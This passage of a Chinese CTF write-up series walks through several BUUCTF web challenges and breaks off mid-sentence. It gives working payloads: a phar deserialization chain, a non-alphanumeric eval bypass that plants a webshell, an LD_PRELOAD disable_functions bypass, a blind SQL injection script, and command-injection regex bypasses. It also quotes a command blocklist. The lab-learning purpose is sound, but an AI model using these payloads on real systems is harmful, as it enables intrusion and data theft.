$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
//delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
有几个关键点
User类中
public function __destruct() {
$this->db->close();
File类中
public function close() {
return file_get_contents($this->filename);
FileList类中
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
__call:会在对象调用不存在的方法时,自动执行,第一个参数为调用的方法名
所以思路为:当db的值为FileList的一个对象时,执行close()方法,但FileList中没有close(),于是触发__call(‘close()’)方法,使得$file->close()
,进而$results=file_get_contents($filename)
,最终FileList->__destruct()
输出$result
payload
<?php
class User{
public $db;
}
class File{
public $filename = '/flag.txt';
}
class FileList{
private $files;
public function __construct(){
$this->files = array(new File());
}
}
$a = new User();
$b = new FileList();
$a->db = $b;
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
上传时将类型为image/gif,然后删除时filename=phar://phar.gif
其实做完了还是不太懂,再也不想看到php了。。。
多放几篇wp
https://www.jianshu.com/p/5b91e0b7f3ac
https://blog.csdn.net/weixin_44077544/article/details/102844554
https://blog.csdn.net/weixin_43345082/article/details/100102082
[BSidesCF 2019]Futurella
查看网页源码就有flag
我直接黑人问号???
[GWCTF 2019]枯燥的抽奖(打不开)
题目容器新建不了,以后再说
[MRCTF2020]套娃
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
php变量名含有特殊字符时会转换为下划线,正则可用换行绕过
?b.u.p.t=23333%0a
得到secrettw.php
添加Client-ip:127.0.0.1
,(这里用X-Forwarded-For
不行)
然后是jsfuck,直接放控制台运行就行,提示要post一个Merak
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
todat is a happy day用data协议写入,file反向解密一下
re = 'flag.php'
flag = ''
for i in range(0,8):
v = chr(ord(re[i])-i*2)
flag = flag+v
print(flag)
最终payload
?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
Client-ip:127.0.0.1
[极客大挑战 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
可以用URL编码取反绕过正则
<?php
var_dump(urlencode(~'phpinfo'));
?>
?code=(~%8F%97%8F%96%91%99%90)();
一句话木马连接蚁剑
<?php
var_dump(urlencode(~'eval($_POST["test"])'));
var_dump(urlencode(~'assert'));
?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
但是没法执行命令,无法读取flag,需要bypass disable_functions
bypass_disablefunc_via_LD_PRELOAD
在/var/tmp/目录下上传bypass_disablefunc_x64.so文件
和bypass_disablefunc.php文件
,将bypass_disablefunc.php改为shell.php
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
或者蚁剑的插件也可以,但好像需要linux系统才行
对了,还看到一种exp,不过完全看不懂
?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令
[WUSTCTF2020]颜值成绩查询
盲注,用之前[极客大挑战 2019]FinalSQL
的脚本就行了
import requests
import time
url = 'http://3b4e1d96-f3b6-4922-970d-1573f11a1f27.node3.buuoj.cn/'
flag = ''
payload = {
'stunum':''
}
for i in range(1,300):
left = 1
right = 127
mid=int((left+right)/2)
while(left<right):
#payload['stunum'] = '1^(ascii(substr(database(),%d,1))<%d)#'%(i,mid)
#payload['stunum'] = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="ctf")),%d,1))<%d)#'%(i,mid)
#payload['stunum'] = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),%d,1))<%d)#'%(i,mid)
payload['stunum'] = '1^(ascii(substr((select(group_concat(value))from(flag)),%d,1))<%d)#'%(i,mid)
r = requests.get(url=url,params=payload)
time.sleep(0.001)
if 'admin' in r.text:
left=mid+1
else:
right=mid
mid=int((left+right)/2)
flag+=chr(mid-1)
print(flag)
[BSidesCF 2019]Kookie
添加Cookie:username=admin
[FBCTF2019]RCEService
提示要json格式
尝试{"cmd":"ls"}
发现可以,然后fuzz一下发现能ban的基本都ban了,看了wp,都是直接上源码???哪来的源码?虚空源码?
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[x00-x1FA-Z0-9!#-/;-@[-`|~x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
猜测换行绕过,但构造了半天没成功
?cmd={%0a"cmd":"ls%20/"%0a}
没搞懂为什么要两个换行符,为什么一个就不行
?cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}
putenv('PATH=/home/rceservice/jail');
设置了环境变量,要用绝对路径,同时当前path没有cat,要用绝对路径,也就是/bin/cat
还有一种解法是回溯法
p神讲解的文章PHP利用PCRE回溯次数限制绕过某些安全限制
import requests
url = 'http://b063435e-bae1-4103-853c-103ae735a894.node3.buuoj.cn/'
payload = {
'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","xiaolong":"'+'a'*1000000+'"}'
}
r = requests.post(url=url,data=payload)
print(r.text)
[CISCN2019 总决赛 Day2 Web1]Easyweb
robrots.txt
提示有备份文件泄露,测试后发现是image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\0","%00","\'","'"),"",$id);
$path=str_replace(array("\0","%00","\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
主要是这里
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\0","%00","\'","'"),"",$id);
$path=str_replace(array("\0","%00","\'","'"),"",$path);
如果输入